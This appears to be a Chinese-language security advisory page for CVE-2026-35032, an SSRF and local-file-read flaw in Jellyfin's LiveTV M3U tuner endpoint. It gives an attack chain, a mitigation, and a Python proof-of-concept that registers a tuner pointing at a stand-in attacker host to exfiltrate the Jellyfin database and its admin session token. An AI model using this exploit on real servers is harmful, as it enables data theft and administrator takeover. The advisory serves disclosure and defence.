IPBUF安全漏洞报告
English
CVE-2026-35032 CVSS 8.1 高危

CVE-2026-35032 Jellyfin权限提升漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-35032
漏洞类型
SSRF, 本地文件读取, 权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jellyfin

相关标签

SSRF本地文件读取权限提升JellyfinCVE-2026-35032

漏洞概述

Jellyfin 10.11.7之前版本存在漏洞,LiveTV M3U端点未验证URL,允许认证用户利用SSRF和本地文件读取窃取数据库,最终提取管理员令牌并提升权限。

技术细节

该漏洞源于Jellyfin的LiveTV M3U调谐器端点(POST /LiveTv/TunerHosts)对输入URL缺乏校验。由于默认配置下新用户拥有EnableLiveTvManagement权限,攻击者可添加指向恶意服务器的M3U调谐器。攻击者在该服务器上提供特制的M3U文件,将频道URL指向Jellyfin的本地数据库文件路径。当Jellyfin解析此M3U时,会读取本地数据库并通过HTTP响应将数据回传给攻击者(SSRF/LFR)。攻击者解析数据库文件后提取管理员的Session Token,进而接管管理员账户,实现从普通用户到管理员的权限提升。

攻击链分析

STEP 1
步骤1:认证用户
攻击者使用普通用户账户登录Jellyfin,该账户默认拥有EnableLiveTvManagement权限。
STEP 2
步骤2:添加恶意调谐器
攻击者通过POST /LiveTv/TunerHosts添加一个M3U类型的调谐器,URL指向攻击者控制的服务器。
STEP 3
步骤3:提供特制M3U文件
攻击者服务器返回一个M3U播放列表文件,其中包含指向Jellyfin本地数据库文件的路径。
STEP 4
步骤4:触发SSRF与文件读取
Jellyfin服务器解析该M3U文件,尝试读取频道内容时,由于未校验协议,读取了本地数据库文件。
STEP 5
步骤5:数据外带
数据库内容被读取后,通过HTTP请求发送回攻击者控制的服务器(或通过响应包泄露)。
STEP 6
步骤6:权限提升
攻击者分析获取的数据库文件,提取其中存储的管理员Session Token,并使用该Token接管管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Concept for CVE-2026-35032 # Attacker controlled server URL attacker_server = "http://attacker-controlled.com" # Target Jellyfin Instance target_url = "http://jellyfin-target:8096" username = "low_priv_user" password = "password" # 1. Authenticate and get API Key session = requests.Session() auth_payload = {"Username": username, "Pw": password} auth_resp = session.post(f"{target_url}/Users/authenticatebyname", json=auth_payload) access_token = auth_resp.json().get('AccessToken') headers = {"X-Emby-Authorization": f"MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="xxx", Version="10.11.0", Token="{access_token}""} # 2. Add Malicious M3U Tuner pointing to attacker server # The attacker server serves an M3U containing a reference to the local DB (e.g., file:///config/data/jellyfin.db) tuner_payload = { "Type": "m3u", "Url": f"{attacker_server}/malicious_playlist.m3u", "FriendlyName": "Exploit Tuner" } add_tuner = session.post(f"{target_url}/LiveTv/TunerHosts", json=tuner_payload, headers=headers) print(f"Added tuner status: {add_tuner.status_code}") # 3. Trigger Refresh/Scan to force Jellyfin to parse the M3U and read the local file # The file content (DB) will be sent back to the attacker server via the URL specified in the M3U or logged in traffic depending on the specific SSRF implementation details. print("Check attacker server logs for exfiltrated database content.")

影响范围

Jellyfin < 10.11.7

防御指南

临时缓解措施
如果暂时无法升级软件,管理员应进入Jellyfin的用户设置,撤销所有用户(包括普通用户)的“Live TV Management”权限,以阻断攻击者添加恶意M3U调谐器的入口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表